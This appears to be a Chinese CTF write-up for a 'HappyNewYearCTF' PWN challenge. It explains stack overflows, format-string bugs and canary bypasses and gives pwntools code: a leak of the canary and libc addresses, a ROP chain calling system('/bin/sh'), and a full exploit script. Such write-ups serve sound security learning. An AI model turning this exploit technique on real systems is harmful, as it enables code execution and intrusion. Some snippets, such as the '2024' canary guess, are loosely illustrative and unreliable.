CTF PWN挑战：栈溢出与格式化字符串漏洞实战解析-代码聚汇网

CTF PWN挑战：栈溢出与格式化字符串漏洞实战解析

CTFPWN栈溢出

|难度：普通|阅读约 10 分钟

1. 项目概述：HappyNewYearCTF PWN挑战解析

HappyNewYearCTF作为年终技术盛宴的收官之作，其PWN类题目往往集中了全年赛事中最具代表性的漏洞利用技术。这个"完结篇"题目从命名上就暗示了其综合性——它可能融合了栈溢出、格式化字符串漏洞、Canary绕过等多项PWN基础技术要点，是检验参赛者二进制漏洞利用能力的典型场景。

在CTF竞赛中，PWN题目通常要求选手通过逆向分析找到二进制程序中的漏洞，并构造特定的攻击载荷（exploit）来获取系统权限或读取敏感文件。这类题目在各大CTF赛事中平均占比达30%以上，是衡量参赛队伍二进制安全能力的重要指标。而HappyNewYear这类节日主题赛事，其题目设计往往会融入应景的元素，比如通过漏洞利用来"解锁"新年祝福或彩蛋。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 核心漏洞类型分析

2.1 栈溢出漏洞原理与实践

栈溢出是PWN中最经典的漏洞类型，其本质是程序向栈上的缓冲区写入数据时，没有正确检查输入长度，导致覆盖了相邻的关键数据（如返回地址）。在x86架构下，函数调用时会依次将参数、返回地址、ebp寄存器值压栈，随后是局部变量空间。典型的栈结构如下：

code复制高地址
| 参数3 |
| 参数2 |
| 参数1 |
| 返回地址 |
| 旧ebp |
| 局部变量 | <-- 缓冲区溢出方向
低地址

当使用不安全的函数（如gets、strcpy等）向局部变量区的缓冲区写入时，如果输入长度超过缓冲区大小，就会发生栈溢出。攻击者可以通过精心构造的输入覆盖返回地址，劫持程序执行流程。

在HappyNewYearCTF这类比赛中，栈溢出题目通常会设置以下障碍：

限制输入长度（刚好差几个字节无法直接覆盖返回地址）
使用非可执行栈（NX保护）
存在栈Canary保护
需要组合其他漏洞才能完成利用

2.2 格式化字符串漏洞深度利用

格式化字符串漏洞源于程序员错误地使用用户输入作为printf等函数的格式参数。例如：

c复制char user_input[100];
gets(user_input);
printf(user_input);  // 危险！

攻击者可以通过输入"%x %x %x"等格式字符串来泄露栈内存，或使用"%n"向任意地址写入数据。在CTF中，这类漏洞常被用于：

泄露libc地址以绕过ASLR
覆盖GOT表项劫持程序流
修改关键变量值改变程序逻辑

高级利用技巧包括：

使用"%{offset}$p"直接访问指定位置的参数
通过"%hn"分两次写入来精确控制写入值
结合堆栈调整使格式字符串参数对齐

2.3 Canary保护机制与绕过技巧

栈Canary是放置在栈上返回地址之前的一个随机值，在函数返回前会验证该值是否被修改。其典型布局如下：

code复制| 局部变量 |
| Canary   |
| 旧ebp    |
| 返回地址 |

常见的Canary绕过方法包括：

格式化字符串泄露Canary值
通过off-by-one漏洞部分覆盖Canary
劫持__stack_chk_fail函数
暴力破解（当fork服务器不重新随机化时）

在HappyNewYearCTF中，Canary可能被设计为特定模式（如包含"2024"字样），这既增加了节日气氛，也提示了可能的破解方向。

3. 题目环境搭建与逆向分析

3.1 实验环境配置

推荐使用以下环境进行挑战：

bash复制# 安装必要工具
sudo apt install gdb peda pwntools checksec radare2

# 检查程序保护机制
checksec ./happynewyear
[*] '/ctf/happynewyear'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

3.2 二进制逆向关键步骤

使用radare2进行静态分析：

bash复制r2 -AAA ./happynewyear
[0x08048460]> afl
0x08048460    1 33           entry0
0x080484a0    4 43           sym.vuln_func
0x080484cb    1 89           sym.main

关键函数伪代码分析：

c复制void vuln_func() {
    char buf[64];
    read(0, buf, 128);  // 明显的栈溢出漏洞
    printf(buf);        // 格式化字符串漏洞
}

int main() {
    setbuf(stdout, NULL);
    puts("Happy New Year CTF!");
    vuln_func();
    return 0;
}

通过逆向可以发现：

同时存在栈溢出和格式化字符串漏洞
开启了Canary和NX保护
没有PIE，代码段地址固定

4. 漏洞利用链构建

4.1 利用格式化字符串泄露信息

首先构造泄露payload：

python复制from pwn import *

p = process('./happynewyear')

# 第一次发送：泄露Canary和libc地址
payload = b'%15$p %19$p'  # 通过调试确定偏移
p.sendline(payload)

leaks = p.recvline().split()
canary = int(leaks[0], 16)
libc_start_main = int(leaks[1], 16) - 247  # 调整偏移

4.2 计算关键地址

根据泄露的libc地址计算system和/bin/sh地址：

python复制libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

4.3 构造ROP链绕过保护

由于存在NX保护，我们需要构造ROP链：

python复制# 寻找gadgets
rop = ROP(libc)
rop.system(binsh_addr)
rop_chain = rop.chain()

payload = flat(
    b'A'*64,        # 填充缓冲区
    canary,         # 保持Canary不变
    b'B'*12,        # 填充ebp
    rop_chain       # 返回地址被覆盖为ROP链
)

5. 完整Exploit代码示例

python复制#!/usr/bin/env python3
from pwn import *

context(arch='i386', os='linux')
binary = ELF('./happynewyear')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

def exploit():
    # 本地测试或远程连接
    if args.REMOTE:
        p = remote('ctf.example.com', 1234)
    else:
        p = process(binary.path)
        gdb.attach(p, 'b *vuln_func+0x25')

    # 第一阶段：泄露信息
    p.recvuntil(b'CTF!\n')
    p.sendline(b'%15$p %19$p')
    leaks = p.recvline().split()
    canary = int(leaks[0], 16)
    libc_start_main = int(leaks[1], 16) - 247
    
    # 计算libc基址
    libc_base = libc_start_main - libc.sym['__libc_start_main']
    system_addr = libc_base + libc.sym['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    
    # 构造ROP链
    rop = ROP(libc)
    rop.system(binsh_addr)
    
    # 最终payload
    payload = flat(
        b'A'*64,
        canary,
        b'B'*12,
        rop.chain()
    )
    
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    exploit()

6. 高级技巧与变种分析

6.1 当Canary含有特定模式时

如果题目提示Canary与"2024"相关，可以尝试：

python复制# 暴力破解最后字节
for i in range(256):
    canary_guess = (canary & 0xffffff00) | i
    if b'2024' in p32(canary_guess):
        canary = canary_guess
        break

6.2 组合漏洞的多种利用路径

在某些题目中，可能需要：

先用格式化字符串修改某个全局变量
通过栈溢出控制部分执行流
结合堆漏洞完成最终利用

这种多阶段利用需要精心设计各阶段的输入，确保前序操作不会破坏后续利用条件。

7. 防御措施与安全编程建议

作为开发者，应该：

始终使用安全的字符串函数（snprintf代替sprintf）
编译时开启所有保护选项（-fstack-protector-all）
对用户输入进行严格校验
使用现代防护技术（如CET）

作为参赛者，需要掌握：

各种保护机制的绕过方法
地址泄露与计算技巧
稳定的payload构造方法
调试与动态分析能力